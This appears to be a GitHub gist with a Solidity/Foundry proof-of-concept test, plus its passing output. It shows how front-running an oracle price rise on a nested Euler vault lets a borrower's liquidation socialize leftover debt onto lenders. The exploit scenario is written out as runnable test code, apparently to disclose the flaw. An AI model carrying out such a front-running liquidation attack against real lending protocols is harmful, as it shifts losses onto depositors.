Skip to content

Instantly share code, notes, and snippets.

@lucyoa
Created April 26, 2024 15:19
Show Gist options
  • Save lucyoa/8b684a3a5d54e6d12f6141d0a7abd4db to your computer and use it in GitHub Desktop.
Save lucyoa/8b684a3a5d54e6d12f6141d0a7abd4db to your computer and use it in GitHub Desktop.

Proof of concept that shows socialized debt:

function test_exploitLiquidate() public { 
    uint16 ltv = 0.8e4;
    uint256 lenderAmount = 10e18;
    uint256 borrowerCollateral = 10e18; 
    uint256 borrowAmount = 8e18 - 1;
    uint256 priceIncrease = 0.12e4; // 12%

    // the ltv is being set for the collateral
    eTSTNested.setLTV(address(eTST2), ltv, 0);

    // set prices
    oracle.setPrice(address(assetTST2), unitOfAccount, 1e18); // user's collateral
    oracle.setPrice(address(eTST), unitOfAccount, 1e18); // user's borrow 

    // depositor deposits assets that could be borrowed
    console2.log("lenders deposit some funds to the vault");
    startHoax(depositor);
    eTST.approve(address(eTSTNested), type(uint256).max);
    eTSTNested.deposit(lenderAmount, depositor);
    vm.stopPrank();

    // borrow funds
    // user deposits assetTST2 as collateral
    console2.log("the change of price is being frontrunned so the attack starts");
    startHoax(borrower);
    console2.log(">> borrower deposits some collateral");
    assetTST2.mint(borrower, type(uint256).max);
    assetTST2.approve(address(eTST2), type(uint256).max);
    eTST2.deposit(borrowerCollateral, borrower);

    evc.enableCollateral(borrower, address(eTST2));
    evc.enableController(borrower, address(eTSTNested));

    console2.log(">> borrower eTST balance", eTST.balanceOf(borrower));
    console2.log(">> borrower borrows", borrowAmount);
    eTSTNested.borrow(borrowAmount, borrower);
    console2.log(">> borrower eTST balance", eTST.balanceOf(borrower));

    vm.stopPrank();

    // increase of price by 12% of the borrowed asset
    uint256 newPrice = 1e18 * (1e4 + priceIncrease) / 1e4;
    console2.log("prices of the borrowed asset raises by", priceIncrease / 1e2, "% and its now", newPrice);
    oracle.setPrice(address(eTST), unitOfAccount, newPrice); 

    (uint256 collateralValue, uint256 liabilityValue) = eTSTNested.accountLiquidity(borrower, false);
    console2.log(">> borrower's collateralValue", collateralValue);
    console2.log(">> borrower's liabilityValue", liabilityValue);

    console2.log("liquidator");
    address liquidator = makeAddr("liquidator");
    (uint256 maxRepay, uint256 yield) = eTSTNested.checkLiquidation(liquidator, borrower, address(eTST2));
    console2.log(">> maxRepay", maxRepay);
    console2.log(">> yield", yield);

    startHoax(liquidator);
    // liquidator just get some collateral
    assetTST2.mint(liquidator, type(uint256).max);
    assetTST2.approve(address(eTST2), type(uint256).max);
    eTST2.deposit(10000e18, liquidator); // liquidator just has a lot of collateral

    evc.enableCollateral(liquidator, address(eTST2));
    evc.enableController(liquidator, address(eTSTNested));

    console2.log(">> liquidation starts");
    uint256 socializedDebt = borrowAmount - maxRepay;
    vm.expectEmit();
    emit Events.DebtSocialized(borrower, socializedDebt);
    eTSTNested.liquidate(borrower, address(eTST2), maxRepay, 0);

    console2.log(">> position has been liquidated");
    console2.log(">> amount of socialized debt", socializedDebt);
    vm.stopPrank();
}

Result:

user@users-MacBook-Pro euler-vault-kit % forge test --match-test test_exploitLiquidate -vv
[⠊] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠢] Solc 0.8.23 finished in 4.16s
Compiler run successful!

Ran 1 test for test/unit/evault/modules/Vault/nested.t.sol:VaultTest_Nested
[PASS] test_exploitLiquidate() (gas: 1249887)
Logs:
  lenders deposit some funds to the vault
  the change of price is being frontrunned so the attack starts
  >> borrower deposits some collateral
  >> borrower eTST balance 0
  >> borrower borrows 7999999999999999999
  >> borrower eTST balance 7999999999999999999
  prices of the borrowed asset raises by 12 % and its now 1120000000000000000
  >> borrower's collateralValue 8000000000000000000
  >> borrower's liabilityValue 8959999999999999998
  liquidator
  >> maxRepay 7971938775510204081
  >> yield 10000000000000000000
  >> liquidation starts
  >> position has been liquidated
  >> amount of socialized debt 28061224489795918

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.91ms (1.99ms CPU time)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment